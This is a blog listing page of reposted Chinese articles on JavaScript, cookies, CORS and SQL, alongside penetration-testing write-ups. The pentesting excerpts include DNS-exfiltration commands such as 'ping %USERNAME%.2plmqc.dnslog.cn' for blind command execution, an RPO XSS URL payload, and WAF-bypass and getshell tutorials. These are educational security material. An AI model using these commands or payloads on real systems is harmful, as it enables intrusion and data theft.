- 博客(727)
- 资源 (1)
- 收藏
- 关注
转载 JS中[感叹号]function(){}()的理解
这种写法,是一种`立即执行函数`的写法,即IIFE等设计模式。这种函数在函数定义的地方就直接执行了。理解IIFE设计模式的关键是要认识到,在ES6之前,JavaScript仅具有函数作用域(因此缺少块作用域),并通过闭包内部的引用传递值。ES6之后情况已不再如此,因为JavaScript的ES6版本使用let和const关键字实现了块作用域。(function(){})()是匿名函数,主要利用函数内的变量作用域,避免产生全局变量,影响整体页面环境,增加代码的兼容性。(function(){})是
2021-11-28 08:36:12 1649 4
转载 js声明变量的三种方式
JS 声明变量的三种方式(1)使用变量步骤:a.声明-->b.赋值-->3.调用正确用法:<script type="text/javascript"> // 方式一:声明和赋值不分离 var correctUsage = "正确使用变量的方式一"; alert(correctUsage); //能够弹出来该变量所对应的值 // 方式二:声明和赋值分离 var correctUsage2; correctUsage2 = "正
2021-11-26 18:13:50 2150
转载 浅谈JavaScript、ES5、ES6
什么是JavaScriptJavaScript一种动态类型、弱类型、基于原型的客户端脚本语言,用来给HTML网页增加动态功能。(好吧,概念什么最讨厌了)动态:在运行时确定数据类型。变量使用之前不需要类型声明,通常变量的类型是被赋值的那个值的类型。弱类:计算时可以不同类型之间对使用者透明地隐式转换,即使类型不正确,也能通过隐式转换来得到正确的类型。原型:新对象继承对象(作为模版),将自身的属性共享给新对象,模版对象称为原型。这样新对象实例化后不但可以享有自己创建时和运行时定义的属性
2021-11-26 18:12:19 801
转载 ie8不兼容的一些方法兼容实现
if(!Object.create) { Object.create = function(o) { if (arguments.length > 1) { throw new Error('Object.create implementation only accepts the first parameter.'); } function F() {} F.prototype = o; .
2021-11-26 18:09:32 484
转载 解决IE10以下对象不支持“bind“属性或方法
IE10一下的浏览器,如果在JS代码中用了bind函数,那么就会报“SCRIPT438: 对象不支持“bind”属性或方法”因为浏览器没有提供这个参数的方法,所以我们就自己写一个bind,来让这个参数生效。//解决IE10以下不支持Function.bindif (!Function.prototype.bind) { Function.prototype.bind = function(oThis) { if (typeof this !== "function") {
2021-11-26 17:12:17 1436
转载 关于cookie domain中的点前缀
今天同事遇到一个问题,大概描述如下:浏览器已经接收指令,之前在一级域名下存储了相关的信息。这里为了简化问题,假设我们有两个应用A和B,域名分别为:a.b.com和c.a.b.com。(显然B是A的一个子域)。上面的描述就是:在.b.com这个一级域名下,我们已经成功写入了一个cookie,假设为:b=level1。在正常用户的浏览行为中,应用A会向自己的域下写入a=level2(domain:a.b.com)。在A正常的页面中,有些场景会有异步的请求发出到B应用的页面(用于获取数据),合理的
2021-11-10 12:26:50 2115
转载 正确使用cookie中的domain
domain的含义为域假设有两个域名a.b.e.f.com.cn 以下用域名1指代此域名c.d.e.f.com.cn 以下用域名2指代此域名在域名中,所有域名进行分级,也就是说域名1与域名2都是f.com.cn的子域名,f.com.cn又是com.cn的子域名在域名1所使用的服务中,可以设置域名a.b.e.f.com.cnb.e.f.com.cne.f.com.cnf.com.cn在服务端设置domain的时候,设置domain为b.e.f.com.cn或.b...
2021-11-10 12:02:30 4122
转载 js委托事件-addEventListeners(冒泡方向)
JQuery中live()、delegate()、on()事件都能给新增元素绑定事件,原理就是用了事件委托。示例:给id为div的元素绑定一个click委托,如果冒泡上来的元素是P元素就会执行alert("xxx");<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title></head>
2021-10-11 15:26:20 429
转载 Package ‘oniguruma’, required by ‘virtual:world’, not found
在编译安装php时有时候会碰到如题所示的错误:Package 'oniguruma', required by 'virtual:world', not found一般在编译php安装时,出现类似的错误只需要安装对应的devel包即可,比如在Centos下,只需要yum install oniguruma-devel就可以解决;然而,yum中没有这个包,需要去第三方找,网上大部分的解决方案是去github下载oniguruma的源码,然后编译安装,而编译时又需要另外一个什么工具,并且还要配置环
2021-09-07 09:04:24 4210
转载 Android APK的加固方法
有人的地方就有竞争,在Android的发展过程中就伴随着逆向和安固加固的发展。逆向工作者可以通过一些非常好用的软件,如IDA、JEB等,来加快逆向的速度;应用开发工作者也会通过各种手段来阻止逆向工作者对自己的应用进行逆向。但是往往情况下逆向是不可能做到百分百阻止的,所有只能通过其他的手段来提高自己应用被逆向时的难度,让逆向工作者需要(可不绕过)花费足够多的时间才能把应用逆向成功。在实际情况下,只要不明显影响应用运行速度,我们都可以采用这种思想来进行保护。在这种背景下,膨胀与混淆就应运而生了,这就
2021-09-06 12:20:21 6097 1
转载 干货|针对单个网站的渗透思路(精)
本文很适合初学者及挖不到漏洞的小伙伴,提供一个很好的思路。首先,当我们拿到一个网站的域名或者IP的时候。最先要做的是信息收集。下面着重介绍一下信息收集模块一、信息收集——端口扫描与分析1.得到域名后查IP推荐使用站长工具,选择whois查询和IP反查询,通过ping该域名查看IP。还可以在站长之家下面找到IP的WHOIS查询,这样就获得了该网站的基本信息。当然还有DNS历史解析记录(可能是看服务器是否开启了域间传送策略)旁站查询,兄弟域名查询2.得到
2021-09-04 07:13:14 2265 2
转载 Genymotion设置代理至BurpSuite和Charles
环境Genymotion VirtualBox BurpSuite Charles准备怎么下载安装就不用说了,因为genymotion要依赖VirtualBox,所以要先把VirtualBox装好。注册好genymotion的账号,SDK选默认的,网络设置先不要动,安装Android的镜像,开机!设置Android代理进入Android系统里面,打开设置-WiFi-鼠标按住WiredSSID两秒-点Modify network 把高级选项勾上,Proxy选Manual,Proxy h
2021-09-03 17:52:09 657
转载 Puppeteer设置浏览器代理的三种思路
0 背景Puppeteer是google推出的操作浏览器的框架。当我们通过框架操作浏览器去访问页面通常需要设置代理。本文简要总结设置代理的方式。1 通过启动参数设置代理我们通过puppeteer启动浏览器通常可以指定参数,通过--proxy-server参数[1]指定代理。http及https请求的将通过代理服务器访问。若每次需要更换代理就需要重新通过launch方法来启动浏览器。const browser = await puppeteer.launch({ args: [
2021-08-12 20:20:50 3765 1
转载 js中setTimeout和clearTimeout的使用
setTimeout,延迟n秒后执行指定代码clearTimeout,清除计时器<html> <head> <script type="text/javascript"> var c=0; var t function timedCount() { document.getElementById('txt').value = c
2021-07-28 10:16:11 626
转载 JS实现数组去重(重复的元素只保留一个)
1.遍历数组法它是最简单的数组去重方法(indexOf方法)实现思路:新建一个数组,遍历去要重的数组,当值不在新数组的时候(indexOf为-1)就加入该新数组中;var arr=[2,8,5,0,5,2,6,7,2];function unique1(arr) { var hash = []; for (var i=0; i<arr.length; i++) { if (hash.indexOf(arr[i]) == -1) {
2021-07-28 08:22:11 1682
转载 <script>放在head内和body内有什么区别
加载的顺序不一样,你可以把HTML看成从上往下加载的。例如在网速慢的情况下把js代码放到body底部用户会先看到网页结构,等js加载完成后才出现特效。区别简述:在HTML body部分中的JavaScripts会在页面加载的时候被执行。在HTML head部分中的JavaScripts会在被调用的时候才被执行,但是在主页和其余部分代码之前预先装载。1.JavaScript应放到哪里head 部分中的脚本: 需调用才执行的脚本或事件触发执行的脚本放在HTML的head部分中。当你把脚本
2021-07-28 07:48:29 450
转载 解决Chrome插件安装时出现的“程序包无效”问题
使用Typora 绘制图(表)@author: NandHyf在学习语法之前, 不妨花一点时间阅读以下官方支持文档, 再决定学习本主题的范围和深度(本篇文章中出现的译文均为笔者翻译或注释, 内容仅供参考)Draw Diagrams With MarkdownAugust 15, 2016 by typora.ioTypora supports some Markdown extensions for diagrams, once they are enabled from prefere
2021-07-22 09:36:32 4265
转载 解决An error occured while deploying the file. This probably means that the app contains ARM...
产生场景电脑上安装Genymotion后,使用Genymotion安装安卓app,产生 An error occured while deploying the file. This probably means that the app contains ARM native code and your Genymotion device cannot run ARM instructions. You should either build your native code to x86 or ins
2021-07-20 13:59:28 286
转载 python selenium自动化读取cookie、增加cookie、删除cookie
import unittestfrom selenium import webdriverimport timefrom selenium.webdriver.support import expected_conditions as ECfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.common.exceptions import TimeoutException, NoAlertPresentExce.
2021-07-16 09:55:58 752
转载 ajax请求url 绝对路径与相对路径
1.绝对路径url开头为一个斜杠"/", 这个斜杠说明这个请求从根目录去访问,这个是绝对路径。例子:$.ajax({ url: '/index/list', type: 'json', success: function() { console.log('OK'); }});2.相对路径相对路径就是xiang...
2021-06-15 09:49:15 1835
转载 攻防演练中的业务逻辑漏洞及检测思路
随着各类前后端框架的成熟和完善,传统的SQL注入、XSS等常规漏洞在Web系统里逐步减少,而攻击者更倾向于使用业务逻辑漏洞来进行突破。业务逻辑漏洞,具有攻击特征少、自动化cuoruoxzing
2021-06-07 14:47:34 1300
转载 API数据安全知多少【知识篇】
一、近年来安全态势近年来,国内外已发生多起由于API 漏洞被恶意攻击或安全管理疏漏导致的数据安全事件,对相关企业和用户权益造成严重损害,逐渐引起各方关注。 分类 年份 公司 详情 国外 2018/2019 Facebook 国外安全人员发现超过2.67 亿条Facebook ID、电话号码和姓名等信息被储存在某公开数据库中。有研究显示,该数据库
2021-06-02 10:33:36 948
转载 CTF之一次曲折获取Flag的过程
Hello各位朋友们,我是小杰,今天我们继续CTF之旅。好,直接步入正题,先看看这次的题目描述。通过题目描述,是有一个什么鬼机器人,能和世界进行交流巴拉巴拉......初步确定是需要获取两个Flag,题目的关键字是“枚举”。好的,打开靶标系统~映入眼帘的就是这个CHILL HACK的字样,还有一个“骷髅头”。下边有一处登陆系统的地方。很好,打开我们的“hack”机器——Kali2020。(这里为什么不用忍者系统一会儿说明。)首先确定我们攻击机的IP地址:192..
2021-05-31 16:59:13 4894 1
转载 一个“登录框“引发的安全问题
前言搞安全的小伙伴只有一个登录框你都能测试哪些漏洞?通常大家测试的都会测试关键部分,为了有更好的测试效果,小厂会提供给你用户名密码;但是一些比较重要的企业,而这个环境却是正式环境,里面存放着一些数据不希望被你看到的时候,是不会提供给你登录账号的。这个时候,考研你基础知识是否扎实的时刻来临了。用户名枚举漏洞描述:存在于系统登录页面,利用登录时输入系统存在的用户名错误密码和不存在的用户名错误密码,返回不同的出错信息可枚举出系统中存在的账号信息。测试方法:找到网站或者web系统登
2021-05-31 15:27:08 3482
转载 8年开发,连登陆接口都写这么烂...
前言大家学写程序时,第一行代码都是hello world。但是当你开始学习WEB后台技术时,很多人的第一个功能就是写的登录(小声:别人我不知道,反正我是)。但是我在和很多工作经验较短的同学面试或沟通的时候,发现很多同学虽然都有在简历上写:负责项目的登陆/注册功能模块的开发和设计工作,但是都只是简单的实现了功能逻辑,在安全方面并没有考虑太多。这篇文章主要是和大家聊一聊,在设计一个登录接口时,不仅仅是功能上的实现,在安全方面,我们还需要考虑哪些地方。安全风险暴力破解!只要网站是暴露在..
2021-05-31 14:59:33 101
转载 别致的上传思路导致getshell的案例
0x01 前言在某次授权的项目中,客户只要getshell漏洞,经过一番折腾,最后成功拿下shell,完成项目交付,本文将过程和遇到的问题和一些小tips分享给大家。0x02 SQL注入经过资产收集,在资产中,找到某个子域名,打开就是个登录框输入手机号和密码,验证码进行登录,结果数据包中并没有验证码,2333随手加上' 居然报错了,存在mysql的注入,还报错了物理路径,还有密码列名为usepwd(后面有用到)要是root权限是不是就美滋滋了,结果多想了,不是root权限.
2021-05-31 12:54:52 508 1
转载 命令执行无回显的一些姿势
前言最近演练遇到了拿shell后,由于是延时注入,让我极其难受。于是,学习了一下命令执行无回显的一些姿势windows环境1.ping %USERNAME%.2plmqc.dnslog.cn这里的%username%为用户变量附上windows常用变量:%APPDATA% : 列出应用程序数据的默认存放位置。%CD% : 列出当前目录。%CLIENTNAME% : 列出联接到终端服务会话时客户端的NETBIOS名。%CMDCMDLINE% : 列出启动当前
2021-05-31 11:43:25 3615 1
转载 Access-Control-Allow- 设置跨域资源共享CORS详解
跨域访问的项目常在过滤器或者拦截器中添加如下配置:response.setHeader("Access-Control-Allow-Origin", "*");response.setHeader("Access-Control-Allow-Methods", "POST,OPTIONS,GET");response.setHeader("Access-Control-Max-Age", "3600"); response.setHeader("Access-Control-Allow-Hea
2021-05-31 11:02:54 5271
转载 XSS:RPO(Relative Path Overwrite)攻击
0x00具体原理参考:Infinite Security: (Relative Path Overwrite) RPO XSSRPO GadgetsRPO攻击0x01RPO攻击首先利用的是通过相对路径引入的CSS,如<link href="styles.css" rel="stylesheet" type="text/css" />当我们在URL最后添加/%0a{}*{background:red;}/的时候会发现页面执行了我们的css代码。通过这点,
2021-05-19 08:50:32 345
转载 干货|如何在无回显时渗透
前言在渗透测试的很多时候,我们可能都得不到数据的回显。由于得不到数据的回显,我们就无法进一步判断我们渗透测试的结果。所以本文告诉大家,在没有回显的时候,我们又该如何测试。1.利用pingping `命令`.dnslog有很多免费的dnslog使用,例如BurpSuite自带的模块——Burp Collaborator client,当然社区版没有这个功能,专业版的BurpSuite才具有。 Bur...
2021-05-18 11:14:29 721
转载 记一次从代码审计到拿下内网edr的过程
0x01、前言在某次授权红队行动中,客户给定目标外网资产很少经过各种挖掘,各种尝试,久久没有结果,注意到某系统为通用系统。于是开始了下面的故事。0x02、寻找源码到getshell查找源码1、网盘泄露:这套系统并不开源,各种网盘泄露网站一顿查找,无果2、Github、gitlab泄露:尝试了多个关键词,均无果3、Fofa找同类型的站:用favicon.ico,或是用title来搜,并且将这些资产采集起来,最终在某个站发现web.rar,成功获得源码代码审计查看代码
2021-05-18 11:13:17 273
转载 干货|红蓝攻防实战演练技术汇总
汇总了前期发布的攻防演练相关的优秀文章,供参加各位同学参考学习。红队红队中易被攻击的一些重点系统漏洞整理2020HVV期间公布漏洞总结红队渗透手册之信息收集篇红队渗透手册之弹药篇攻防演练中红队如何识别蜜罐保护自己干货| 网站渗透总结之Getshell用法大全Linux通过第三方应用提权实战总结提权总结以及各种利用姿势蓝队蓝军经验总结攻防演练总结之数据分析防守方经验总结蓝队经验总结蓝队日志分析技巧蓝军经验总结蓝队防守必须排查的57个安全漏洞与
2021-05-18 11:12:21 2831 1
转载 WAF机制及绕过方法总结:注入篇
本篇文章主要介绍WAF的一些基本原理,总结常见的SQL注入Bypass WAF技巧。WAF是专门为保护基于Web应用程序而设计的,我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧,而是能够对安全设备厂商提供一些安全建议,及时修复WAF存在的安全问题,以增强WAF的完备性和抗攻击性。三是希望网站开发者明白并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。一、WAF的定义WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略
2021-05-18 11:11:53 2629
转载 追洞小组 | Jdbc反序列化漏洞复现浅析
目录1、前言+靶场搭建2、漏洞复现3、漏洞分析4、漏洞修复5、心得前言+靶场搭建很多时候我们获得密码之后进入后台管理的界面,有些上传的漏洞或者sql注入无法getshell,但是如果发现连接mysql服务的数据包中可以传参,那么我们就可以尝试控制链接mysql服务器,反序列化代码来得到shell。所以该漏洞的关键只需要能够控制客户端的jdbc连接,在连接阶段就可以进行触发反序列化。这篇文章也不深入理解mysql的协议。使用idea maven项目创建...
2021-05-18 10:37:00 1049 1
转载 干货|SRC漏洞挖掘经验
先谈个人经历,我虽然很早前就像挖掘SRC来锻炼自己,但真正实现起来大概也是2月初的时候。一开始在几大SRC平台,如顺丰SRC,小米SRC等装了两下,真的不知道从何入手。而且,SRC提交这事从来都是前人吃肉后人喝汤的局面,对于这样的平台,综合考虑自身的实力因素,打算先放弃挖掘这样的SRC。然后我在补天SRC开始挖掘,专属SRC的性质与前者一样,所以我先从公益SRC入手。我是觉得公益SRC对于大佬的吸引力没那么大,对于我等菜鸡可能还能捞点菜汁吃。首个漏洞发现大概在挖掘的第二天发现的,但提交时显示名称已存在,
2021-05-18 09:26:53 11586 4
转载 DATA URI schema(data:base64)协议常用数据格式
data:,<文本数据> data:text/plain,<文本数据> data:text/html,<HTML代码> data:text/html;base64,<base64编码的HTML代码> data:text/css,<CSS代码> data:text/css;base64,<base64编码的CSS代码> data:text/java...
2021-05-13 18:48:36 794
转载 WebRTC
目录概述 getUserMedia 概述 范例:获取摄像头 范例:捕获麦克风声音 捕获的限定条件 MediaStreamTrack.getSources() RTCPeerConnectionl,RTCDataChannel RTCPeerConnectionl RTCDataChannel 外部函数库 参考链接重要说明:本教程已经搬迁,此处不再维护,请访问新网址:wangdoc.com/javascript。概述WebRTC是“网络实时通信”(Web Real Time
2021-05-13 18:47:07 238
转载 SQL里学习通配符时LIKE和RLIKE的区别
在SQL里用LIKE 表格里明明有的内容却搜索不出来,如图但是用RLIKE却可以搜索出结果,如图那么LIKE和RLIKE到底有什么区别呢?
2021-05-12 12:07:28 6957
转载 PostgreSQL的generate_series的函数应用
一、简介PostgreSQL 中有一个很有用的内置函数generate_series,可以按不同的规则产生一系列的填充数据。二、语法函数 参数类型 返回类型 描述 generate_series(start, stop) int 或 bigint setof int 或 setof bigint(与参数类型相同) 生成一个数值序列,从start 到 stop,步进为一 generate_series(start, stop, step) int
2021-05-12 11:53:00 1230
转载 SQL中distinct的用法
1.作用于单列 2.作用于多列 3.COUNT统计 4.distinct必须放在开头 5.其他在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。关键词distinct用于返回唯一不同的值。表A:表B:1.作用于单列select distinct name from A执行后结果如下:2.作用于多列示例2.1select distinct name, id from A执行后结果如下:实际
2021-05-12 10:13:45 298
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人